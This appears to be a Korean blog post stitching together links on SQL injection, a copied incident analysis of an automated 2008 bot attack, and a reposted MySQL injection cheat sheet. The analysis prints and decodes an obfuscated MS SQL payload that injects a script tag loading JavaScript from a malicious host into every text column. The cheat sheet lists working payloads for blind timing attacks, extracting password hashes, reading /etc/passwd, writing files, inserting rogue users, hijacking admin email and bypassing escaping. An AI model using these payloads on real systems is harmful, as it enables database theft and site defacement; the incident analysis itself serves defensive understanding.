콩나물

ref : http://www.red-database-security.com/

아~ 그대의 속살을 만져보고 싶구나.
오라클..


sql injection 관련해서 공격과 그에 대한 대응방법을 교육시켜주는 사이트.

잘 몰라서 어렵게 느껴지는거겠찌.

링크 : http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm

Couple of days ago fellow handler Scott wrote a diary about sites hosting exploits for various Realplayer vulnerabilities. One of the malicious sites mentioned in the article, uc8010.com looked particulary interesting. When you search for this web site in Google you get thousands of other, compromised sites that are all pointing to the uc8010.com web site. This, obviously, sparked some interest in the security community so we decided to dig a bit further into this attack.

It turned out that there is an automated script or a bot exploiting SQL injection attacks in vulnerable web applications. I remembered that I saw the very same attack appearing back in November last year but it was not this wide spread – it appears that the attacker improved the crawling/attacking function of his bot so he managed to compromise more web sites.

The attack back from November 2007 was almost exactly the same as the current one, but the SQL statement appears to be a bit improved. One of the logs that we received back in November is shown below:

GET /home/site_content_3.asp

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C0061007200650
0200040006D00200076006100720063006800610072002800380030003000300029003B007300650
07400200040006D003D00270027003B00730065006C00650063007400200040006D003D0040006D0
02B0027007500700064006100740065005B0027002B0061002E006E0061006D0065002B0027005D0
07300650074005B0027002B0062002E006E0061006D0065002B0027005D003D00720074007200690
06D00280063006F006E007600650072007400280076006100720063006800610072002C0027002B0
062002E006E0061006D0065002B002700290029002B00270027003C0073006300720069007000740
020007300720063003D00220068007400740070003A002F002F0079006C00310038002E006E00650
074002F0030002E006A00730022003E003C002F007300630072006900700074003E00270027003B0
027002000660072006F006D002000640062006F002E007300790073006F0062006A0065006300740
07300200061002C00640062006F002E0073007900730063006F006C0075006D006E0073002000620
02C00640062006F002E0073007900730074007900700065007300200063002000770068006500720
06500200061002E00690064003D0062002E0069006400200061006E006400200061002E007800740
07900700065003D0027005500270061006E006400200062002E00780074007900700065003D00630
02E0078007400790070006500200061006E006400200063002E006E0061006D0065003D002700760
061007200630068006100720027003B00730065007400200040006D003D005200450056004500520
053004500280040006D0029003B00730065007400200040006D003D0073007500620073007400720
069006E006700280040006D002C0050004100540049004E004400450058002800270025003B00250
027002C0040006D0029002C00380030003000300029003B00730065007400200040006D003D00520
0450056004500520053004500280040006D0029003B006500780065006300280040006D0029003B0
0%20AS%20NVARCHAR(4000));EXEC(@S);--

As you can see, we can't tell much what's going on here. The attackers were smart and decided to obfuscate the attack by using the CAST statement. The CAST statement explicitly converts one data type to another. So, the attackers CAST the big input value as "@S" and then execute it. In this example, the site_content_3.asp script is vulnerable to SQL injection (notice the ' character after s=290, which is an input parameter for the site_content_3.asp script).

Back to the CAST statement. We can decode this simply with perl, we just need to copy the CAST content into a separate line and do something like this:

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output

The output file will contain the decoded SQL statement:

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);

And here we can see exactly what's going on. This SQL statement takes all rows from the sysobjects table with type U (user table). It then cycles through those objects and matches those that with type „varchar“. Finally, for every such object it executes an update statement which results in appending the code shown above pointing to the yl18.net site.

The attack with the uc8010.com site was practically the same with a bit better SQL – Ryan Barnett posted an example of this attack at http://www.modsecurity.org/blog/

As some people noticed, almost all affected web sites are running IIS and MS SQL server. This makes sense since the SQL statement in the attack will work only on MS SQL servers and there aren't that many web sites running Apache on Windows. That being said, I have no doubt that the bad guys will expand their bot (if they haven't already) so it starts attacking PHP+MySQL web sites.

This is another example that points to issues with development of web applications (see the OWASP top ten vulnerability list for 2007 – injection flaws are on the second place http://www.owasp.org/index.php/Top_10_2007-A2#Protection). One could also protect against attacks such as this one with a reverse proxy/web application firewall in front of the web server. However, be aware that this is just a temporary fix – as we saw in this example the bad guys are pretty good in evading detection, as they did with the CAST statement (sure, you can block on CAST but be aware that there are other obfuscation ways).

Basics.

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations.

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

Operators

SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;

Evaluate

all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);

Math

SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);

Misc

SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');

Benchmark

SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost

Using the timeout to check if user exists

SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login

Beware of of the N rounds, add an extra zero and it could stall or crash your
browser!

Gathering info

Table mapping

SELECT COUNT(*) FROM tablename

Field mapping

SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;

User mapping

SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors

Writing info into files

SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'

Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct
pathname!

The CHAR() quoteless function

SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)

Extracting hashes

SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

example:

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login

explaining: (passwordfield,startcharacter,selectlength)

is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’

A quoteless example:

SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

Possible chars: 0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122

Misc

Insert a new user into DB

INSERT INTO login SET user = 'r00t', pass = 'abc'

Retrieve /etc/passwd file, put it into a field and insert a new user

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'

Then login!

Write the DB user away into tmp

SELECT host,user,password FROM user into outfile '/tmp/passwd';

Change admin e-mail, for “forgot login retrieval.”

UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions

(MySQL 4.1.x before 4.1.20 and 5.0.x)

Bypassing addslashes() with GBK encoding

WHERE x = 0xbf27admin 0xbf27

Bypassing mysql_real_escape_string() with BIG5 or GBK

"injection string"
に関する追加情報：

the above chars are Chinese Big5

Advanced Vectors

Using an HEX encoded query to bypass escaping.

Normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

Normal:

insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74

How to determin the HEX value for injection.

SELECT HEX('root');

gives you:

726F6F74

then add:

0x

before it.

출 처 : http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/